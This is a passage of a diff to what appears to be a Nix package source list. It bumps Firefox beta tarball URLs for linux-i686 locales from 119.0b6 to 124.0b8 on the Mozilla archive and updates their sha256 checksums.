"f9ff06feb765a9c2d61618e26fc3e8f390db5af179505ccbe09f521152e782a7"; + sha256 = "2862f74877b911cdac16cefc2d0bec3e0b4157c5402fc817f5df80ab578a65b3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ca/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ca/firefox-124.0b8.tar.bz2"; locale = "ca"; arch = "linux-i686"; - sha256 = "c8dc0cc2dcfd7e8756d3815f293edb7da61f899197ce13d29f0891f96df68e02"; + sha256 = "38e3131a062fad31b839ea6db798dad821588b718a28d715d5848c29304b4268"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/cak/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/cak/firefox-124.0b8.tar.bz2"; locale = "cak"; arch = "linux-i686"; - sha256 = "d35ed2653628c7ae54a04f2bc441bb5ebac4710efc05d64f3781922b6446a60a"; + sha256 = "2a45c9d0b8447cec450dfbdd216e117a436680ca464f2098de92c857018aaf1b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/cs/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/cs/firefox-124.0b8.tar.bz2"; locale = "cs"; arch = "linux-i686"; - sha256 = "b8d33dfc6b96297ddd846ff99bd30efee0fa781e3d4e8a0487057a6a3790c3d0"; + sha256 = "48357663089077f12a74e0b8ca7536a4fc157298924c0d214ba967cee932476c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/cy/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/cy/firefox-124.0b8.tar.bz2"; locale = "cy"; arch = "linux-i686"; - sha256 = "8fdde9c4a36b23354e5f3393f70d10f2b921b363ca499da454d52999d4b410a0"; + sha256 = "2922f32225039083c37f40db38589a7c81cf65e0fa642adfa3ebd68137094a56"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/da/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/da/firefox-124.0b8.tar.bz2"; locale = "da"; arch = "linux-i686"; - sha256 = "c5762e737ad82839721870b46e7626c15f9f99c1bb8f3c7a4766a508a097265f"; + sha256 = "5296e6782136312ced24888eeaacc3b2456a9c7ae915c9b54f48a8d92076cfe0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/de/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/de/firefox-124.0b8.tar.bz2"; locale = "de"; arch = "linux-i686"; - sha256 = "cd3d776b5c44d0873f4b8c90bf62c74a9273cf5b03d5ded36547f1d2077b3c3c"; + sha256 = "f150299b6d34b8305564248f2ee45f85958f6dab810d17253c9414a1e24e074d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/dsb/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/dsb/firefox-124.0b8.tar.bz2"; locale = "dsb"; arch = "linux-i686"; - sha256 = "e3e8f5083b0c83d9365605a36d17f10886c64c0f21c19576a3d24a62d2a05c13"; + sha256 = "3ef6f69508f09125f4c9e1bd752f417d55fe34f97b1ea8374d3aee2916c3dac7"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/el/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/el/firefox-124.0b8.tar.bz2"; locale = "el"; arch = "linux-i686"; - sha256 = "08807f2915375b628775a4c0987ac934c00d26b1105a8caf3a52ebc026c42a90"; + sha256 = "f6528a1e33082ab896e627081330f7663b097c88c62051b1a6e17a58b30893f5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/en-CA/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/en-CA/firefox-124.0b8.tar.bz2"; locale = "en-CA"; arch = "linux-i686"; - sha256 = "68797c810dd86008a1e8aec39445264cd69e852bc28c758d94654a276976f2c2"; + sha256 = "acc53089885c5c00841ec66130807a9993ed223654491ef3152f460cf830a4aa"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/en-GB/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/en-GB/firefox-124.0b8.tar.bz2"; locale = "en-GB"; arch = "linux-i686"; - sha256 = "a1e6c1344bd9bef9a393a023cbb0d6f56283e483203ea03692ea71a9e043caf5"; + sha256 = "c6bee0a546b4de27f1a35bbdf052df9508c5ef09bad436359efb3f4b8803af1c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/en-US/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/en-US/firefox-124.0b8.tar.bz2"; locale = "en-US"; arch = "linux-i686"; - sha256 = "5eaeace6e8d741b8cdae8c8a98f118caa98f957bafe8d54d536d98cb260fae92"; + sha256 = "33e5151fb2391203017895997dc039dd0959c4d992cb427caf434be9756803dc"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/eo/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/eo/firefox-124.0b8.tar.bz2"; locale = "eo"; arch = "linux-i686"; - sha256 = "21cca62f1324c5c6fb8b03bc670a86ea6f86cd6e91c11c81eb202571d2fcd687"; + sha256 = "c0f6a21e7c187ad2daca0f8ad18c087c2b44bc23d1bda52018ce977993bffcc9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/es-AR/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/es-AR/firefox-124.0b8.tar.bz2"; locale = "es-AR"; arch = "linux-i686"; - sha256 = "955493247481e364722e3bd57333ac8f6754c8bc135b9e0caff78d554a91e441"; + sha256 = "1c482f713f63cb63e5e647a8d54abef47277d2bb66b2fc073313c203ebe6e383"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/es-CL/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/es-CL/firefox-124.0b8.tar.bz2"; locale = "es-CL"; arch = "linux-i686"; - sha256 = "16d05701b991a91bde3d7542737d64b63a1d184046090158adc5ca683cd34739"; + sha256 = "f54a9bb4bd13e6c7755154746a5dd0519dacb506abf0fa255df5c654b9cb9741"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/es-ES/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/es-ES/firefox-124.0b8.tar.bz2"; locale = "es-ES"; arch = "linux-i686"; - sha256 = "b300130904d449c31adde941dbf514fde7f579cfe571744ea3a929915277aaad"; + sha256 = "0159213252e40b4bd88742da8412e0d0b7ac53c5fb1c063b4d90374211c4ae42"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/es-MX/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/es-MX/firefox-124.0b8.tar.bz2"; locale = "es-MX"; arch = "linux-i686"; - sha256 = "44bc3c0cbee194c8235308b5836104a2c5016ac6537bc9dfb741ccb2aef2d854"; + sha256 = "9b10953497b0a97ab545d49fd1696fd59930cec19b0ccfc44fae41af8fc89509"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/et/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/et/firefox-124.0b8.tar.bz2"; locale = "et"; arch = "linux-i686"; - sha256 = "536c1c8f97ae1f4f50584e5b7123d04e682196c71ebd4d873e19ab90bc5c8442"; + sha256 = "e266b6435612746a143635d2b147d784928d6664ef9ab131043b0396c0089981"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/eu/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/eu/firefox-124.0b8.tar.bz2"; locale = "eu"; arch = "linux-i686"; - sha256 = "d25fb29a7e62691fa070084b93d294587c0cd0a006aeb13d90de29dc7960264f"; + sha256 = "da36a0d396c54d8dbccc33fcaa34f813e8040bb920933faf41339258f3b90a18"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/fa/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/fa/firefox-124.0b8.tar.bz2"; locale = "fa"; arch = "linux-i686"; - sha256 = "8bb9b11ede4518f35df9820040607942581e3793dbccabea0962a1455ed879ce"; + sha256 = "7f7998fff9db9b9b0dd6d5c8a2491912f354e69d86f8123a627823effd6af388"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ff/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ff/firefox-124.0b8.tar.bz2"; locale = "ff"; arch = "linux-i686"; - sha256 = "e4e840fa0c9fb6e09b9d450c9daa03f988529bf833b11ae95af63ae863e2939e"; + sha256 = "f7d704982ff235048c274cd0ecbb36e519479229532a34b6a0e7cf9e50422b3b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/fi/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/fi/firefox-124.0b8.tar.bz2"; locale = "fi"; arch = "linux-i686"; - sha256 = "70169b2198ee988736aab5c179fa45e8f517840db179af532810f2bfe20eb162"; + sha256 = "ba875c3c9bd322b39f3684cbe67c16de84615eb3c35e6790efcb862687ed9002"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/fr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/fr/firefox-124.0b8.tar.bz2"; locale = "fr"; arch = "linux-i686"; - sha256 = "201a04c38bad6855ec1e9dca17e7def948d577d48b00f4aa4fa53d97dd5535a9"; + sha256 = "c921b0ccc93f94d5df9746691bbc3086b22da8349f1a52ad5e26ba93b7abf650"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/fur/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/fur/firefox-124.0b8.tar.bz2"; locale = "fur"; arch = "linux-i686"; - sha256 = "b88b280d2e5247668920a20f0801c24b469e8dad40c911ee6a579b15c0a3c887"; + sha256 = "dc02e708a2d7ea14786f10fa984c255311c9c6e129f9fcfae6a7a542f8f68085"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/fy-NL/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/fy-NL/firefox-124.0b8.tar.bz2"; locale = "fy-NL"; arch = "linux-i686"; - sha256 = "270fa1ffaefb27f6ccf18205bf4854d8e71c6987edc435275096d4cd63474d84"; + sha256 = "e667de6651376ba436d3903a09bfbaafbbc02b229884bf047689eb85c33358b9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ga-IE/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ga-IE/firefox-124.0b8.tar.bz2"; locale = "ga-IE"; arch = "linux-i686"; - sha256 = "e691dc694afe2bd2330b54e61ec78d4d9231e42eabfc276019d6bd622b5ad4b7"; + sha256 = "5a3fed972dd5eed1d9096a01ca96f461cd60422ba45056d1d360192474a92cf2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/gd/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/gd/firefox-124.0b8.tar.bz2"; locale = "gd"; arch = "linux-i686"; - sha256 = "922ebba58136ad845f17e347c9fa7dcca6860f721a513502aceed6d33c5c6457"; + sha256 = "951149f7826a41f5baf0a8e6d33894cfbbbf5604857b53add5d1ffcfe381affc"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/gl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/gl/firefox-124.0b8.tar.bz2"; locale = "gl"; arch = "linux-i686"; - sha256 = "166f955a682ca4e0b6b6e438c23e4f9cd7b02053811c16d0d98668b35690bfec"; + sha256 = "9d6edc3d5367845bdf7d3d1a037c9e6d4938bf9ca9c8da4d7b1b0be8c30884ac"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/gn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/gn/firefox-124.0b8.tar.bz2"; locale = "gn"; arch = "linux-i686"; - sha256 = "909af1ace3ba8275a9d2cbe9e5097595b3809361a50f2c3e2e4040dc2fff71ac"; + sha256 = "f272ef4ce5c750cdb15ee384d3b2f3d8180fefce5658e90df65c6a956a50febe"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/gu-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/gu-IN/firefox-124.0b8.tar.bz2"; locale = "gu-IN"; arch = "linux-i686"; - sha256 = "12680aed2230f9225b15d78859649d9eaf1b671e5e3fa8ed8f88e7273776bb22"; + sha256 = "08146f867a46af824bb8cf04f65577307a88e8dc9c3551473de7b26d65c7b071"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/he/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/he/firefox-124.0b8.tar.bz2"; locale = "he"; arch = "linux-i686"; - sha256 = "57048b16d6f5db639d23b2937de0c891b06581ef90413c71bc09eadf9ac323b6"; + sha256 = "ae314e7432b89fccb51302c3e0b8ba57b08fddbc9b24ce4238c18aebb45c0a38"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/hi-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/hi-IN/firefox-124.0b8.tar.bz2"; locale = "hi-IN"; arch = "linux-i686"; - sha256 = "29b9e04a34acf231de4068c24537e23923a38656d1527c3819a90acbca63a3aa"; + sha256 = "20ed21211b8fa4569972286807c2a920e431253d5f78c66da8c22fff00dcf2ae"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/hr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/hr/firefox-124.0b8.tar.bz2"; locale = "hr"; arch = "linux-i686"; - sha256 = "71a1b2425ce2a41bf1d3a64e8bc977509a5c12b0890556604cc3b59dae890099"; + sha256 = "883ebf254fd70cd1eb54c66c7836107e9faacdf9b1ede606b6996cc3c2353eda"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/hsb/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/hsb/firefox-124.0b8.tar.bz2"; locale = "hsb"; arch = "linux-i686"; - sha256 = "84a5038ea816f176541caf286a6d3f4d8ceccad6eca2d6efa332ad53748fc6ee"; + sha256 = "470deb438d124656690aa408b92b388cfb8064111678c018f44d89067a8088ef"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/hu/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/hu/firefox-124.0b8.tar.bz2"; locale = "hu"; arch = "linux-i686"; - sha256 = "ab3897471971047d71dfc973b38e082a7d436862a1fb7ce9ca309c8778a6ff43"; + sha256 = "6c2f5a044d174d7e788e0db22fb42d6b84179f3777ec54a5f73fc14de8b5c5a4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/hy-AM/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/hy-AM/firefox-124.0b8.tar.bz2"; locale = "hy-AM"; arch = "linux-i686"; - sha256 = "1cddc519b812a7c969b655d28283fad466397406f2bb2b474bc7215d4e3d9f10"; + sha256 = "82a2acd29a34f8423954946b032bc48b50441ff14462612a151032798d711db2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ia/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ia/firefox-124.0b8.tar.bz2"; locale = "ia"; arch = "linux-i686"; - sha256 = "1903a412d67ca3d9e67e6f00e560eba5e9d7e0a823360b2ce7488e17e2a874ac"; + sha256 = "70a994763ad6dbd97a0b0866695ff3db379e6f132d356ef56cd3cb407251cbc6"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/id/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/id/firefox-124.0b8.tar.bz2"; locale = "id"; arch = "linux-i686"; - sha256 = "245549351a02c7a7de3ac777bc4d1bfacf3d2a49a6b9f7a731b91c57a23df5ff"; + sha256 = "c38f42145ef48fb309d772abc85a92086e9e5f7f81fa9967ce20db3f2edc0691"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/is/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/is/firefox-124.0b8.tar.bz2"; locale = "is"; arch = "linux-i686"; - sha256 = "23127f8ebafeef2997f53a7d000754a355b7b425cc45c84903c5d041ad6d59ad"; + sha256 = "4cddf60be4c177ca9228d69d42bda0ca1d8294819efbed27048283c5d1bd6938"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/it/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/it/firefox-124.0b8.tar.bz2"; locale = "it"; arch = "linux-i686"; - sha256 = "197ac9ea0daf18f2b3370c400e89dac8e38a3cbe65c53a1052ded7e4299ca618"; + sha256 = "f4603394a5106a77347dc3f129e3e2887545c2ac5e0794010e8b623c5068adb4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ja/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ja/firefox-124.0b8.tar.bz2"; locale = "ja"; arch = "linux-i686"; - sha256 = "e1ec0637713fd35e2240f76b5d07731d24e2e4dba7c6aadb356ba0e0abcde05d"; + sha256 = "5bab0bf58b493c2b58b90adad6f13dee3ecda39948f2c689bd2c925cfd4c30db"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ka/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ka/firefox-124.0b8.tar.bz2"; locale = "ka"; arch = "linux-i686"; - sha256 = "2a32fccbcee9100aee27a1fdba8a841ac089664c7b9b3f079c0fa03ae6209328"; + sha256 = "9e0241d98327769523ac6c5db53b362eee90bffc817228f681c5fc24f5c88106"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/kab/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/kab/firefox-124.0b8.tar.bz2"; locale = "kab"; arch = "linux-i686"; - sha256 = "1f3ea0a86f57ce915c54f161cbc38f58d703a7883c6a12d121a37e3ac19f6d5f"; + sha256 = "3a665ed22585532423b439762a6be17f78a02e2977dfdd30a3a49c654a9d2895"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/kk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/kk/firefox-124.0b8.tar.bz2"; locale = "kk"; arch = "linux-i686"; - sha256 = "53a9b09dee48b819d7f215fdb0c589f99b3681a0f50d6a1cac75a5c1b6c54d57"; + sha256 = "f27b507195363c0c10ecd2668781dcde692f0273bbfc2af97ca96b40e5c7ec46"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/km/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/km/firefox-124.0b8.tar.bz2"; locale = "km"; arch = "linux-i686"; - sha256 = "2d2dac4518d81308a9876f2687feb700a301f3caaefa39faefc930a104af7742"; + sha256 = "d53d77a5f252387e1d63070b4f5684c4b631f35d4fe7a46853b3349afb061eea"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/kn/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/kn/firefox-124.0b8.tar.bz2"; locale = "kn"; arch = "linux-i686"; - sha256 = "3b846d085583226674f92ebf10431959d1b0cc26a1f625a7735619ba2082c763"; + sha256 = "6b5c10a4dd665cf394f2996b0aff2745d0ad08c1960cb3ffdd485d90a9875875"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ko/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ko/firefox-124.0b8.tar.bz2"; locale = "ko"; arch = "linux-i686"; - sha256 = "62f1a527a86a4d43bccfa5fe683d66d9317369bea2ce6942cad83ebe4c8c878a"; + sha256 = "f6ca141e3ec7cd2c3e757c3abc6dac2b9d8603ac21ad61c67c555b878a8960dc"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/lij/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/lij/firefox-124.0b8.tar.bz2"; locale = "lij"; arch = "linux-i686"; - sha256 = "3cdea51693644417f6d22e887daf21e3bcea623c8a18efac0a38123a43f5b8fb"; + sha256 = "a0178386782d2cc578d1412c6eb07b609db4ae08fc0d9613bfdfb6812ff49763"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/lt/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/lt/firefox-124.0b8.tar.bz2"; locale = "lt"; arch = "linux-i686"; - sha256 = "0c03f35039bc822cd8a6c756a31628dfe08b8a713c4ddb322d51146c8fc44d2b"; + sha256 = "a2291eb8df840e545b2bb288d5ad68f8bab9a66cd883b15ce4f9364a67e2d082"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/lv/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/lv/firefox-124.0b8.tar.bz2"; locale = "lv"; arch = "linux-i686"; - sha256 = "aba840eaaa35a712313204274e34d6e8cf7b7d643649b2a0e2dac81fb78de2c6"; + sha256 = "8e927eca1e77dae2756eaa85f4ce8cef303904ebbef0e0cabb741a0cb60d9809"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/mk/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/mk/firefox-124.0b8.tar.bz2"; locale = "mk"; arch = "linux-i686"; - sha256 = "a386ce049ba686c54b4df38debe5c344d114f3c2aa36d8e9220cc77d38b5cbf2"; + sha256 = "71089907754ff08f5abbec5a87949634d9efcaedc6b0b052468cc4437324078c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/mr/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/mr/firefox-124.0b8.tar.bz2"; locale = "mr"; arch = "linux-i686"; - sha256 = "6439998155e506bcbb80258273e3597480ccb1fa1e520704834d41199d4514d1"; + sha256 = "9acd87dd9b9859f82464641e51215cb2afee19355c54630a999682220c35ac5c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ms/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ms/firefox-124.0b8.tar.bz2"; locale = "ms"; arch = "linux-i686"; - sha256 = "7aba8da30c9f57fb7e8ba0ced67ebf60ef1109edc38677c04a20ead32476f0e4"; + sha256 = "f341f1a23a4ced9c72d26daffd029bdbf1ff0793a72db6df9a691151317f83f4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/my/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/my/firefox-124.0b8.tar.bz2"; locale = "my"; arch = "linux-i686"; - sha256 = "eea6b322199d5f976037c8e60b2184a3569b64280460394115766c4378f53adc"; + sha256 = "ae8d29654d85e6a25f8d10a113e20abb307c00f8b34fb9f63af2bfa12f9233ed"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/nb-NO/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/nb-NO/firefox-124.0b8.tar.bz2"; locale = "nb-NO"; arch = "linux-i686"; - sha256 = "837b7330e1b697d71a8714e2da77e8b4e2ea9338abb4c5ed1147f080ef332410"; + sha256 = "d8b6c0d18f5213d61838fa949321b34eec7d1d054ff4f6dfe9edab7bc9937c30"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/ne-NP/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/ne-NP/firefox-124.0b8.tar.bz2"; locale = "ne-NP"; arch = "linux-i686"; - sha256 = "4b940aaf89f45ccfedb3a5bbd78001dc5d96a4a1991b1da76d88b8fabe2209c2"; + sha256 = "739b960b77bc4bb1a7adf41afa4f1e5a5b7e787174bcb4cef1d251a2b77d48bb"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/nl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/nl/firefox-124.0b8.tar.bz2"; locale = "nl"; arch = "linux-i686"; - sha256 = "d962d996c3ad87ec4eafee5f17a80b3fea2f131bf3d5e0d3b5362b0520f4f04b"; + sha256 = "f9b832e2a137b369fe5b403a111b6def32c31c3bb716e1f6762bc560dfdfdc35"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/nn-NO/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/nn-NO/firefox-124.0b8.tar.bz2"; locale = "nn-NO"; arch = "linux-i686"; - sha256 = "d08c8b71451bd46ea6ea49379a746f25bcf1fc2e293e3219f9587d8b7f1f76fc"; + sha256 = "d98ec566e4ce0222cbe7714938cdfe4ee08ebd59d58e281f28afa4a998947aa9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/oc/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/oc/firefox-124.0b8.tar.bz2"; locale = "oc"; arch = "linux-i686"; - sha256 = "d8feaa3cd6a9afacf360df9a93d9e118dc72231b661d5fe0b909d8013b68a946"; + sha256 = "af47d1a95048b8aa8bd2052e24ace28d24ab7367d113afa85055316b4844d78e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/pa-IN/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/pa-IN/firefox-124.0b8.tar.bz2"; locale = "pa-IN"; arch = "linux-i686"; - sha256 = "fa4d570b5869afbb4e6201c03828efe19f12e6ca53a95fd120decc8c927eb5bb"; + sha256 = "a388e5efe3bfcfbad0b2d1b77f6b9c366f93951afe20b8438ad8241eb0362ad3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/pl/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/pl/firefox-124.0b8.tar.bz2"; locale = "pl"; arch = "linux-i686"; - sha256 = "0537012fcdae800a394f1797325b7e5429d1fc69d9bf79d50f0e42b381f8180b"; + sha256 = "c03e54968e539c909c5a4c870b4f80dfcff406fc79d594b3897d0d0e7bc9f26c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/pt-BR/firefox-119.0b6.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/124.0b8/linux-i686/pt-BR/firefox-124.0b8.tar.bz2"; locale = "pt-BR"; arch = "linux-i686"; - sha256 = "dc2e7e220e18dce1b818e29f7cca953331bbfabf6dd6a7e97ceba142eb305c66"; + sha256 = "113d9baa6a713ef7bb2828759f2cb3913825d7c8b595076961ebc7a318edbe8a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/119.0b6/linux-i686/pt-PT/firefox-119.0b6.tar.bz2"; + { url = 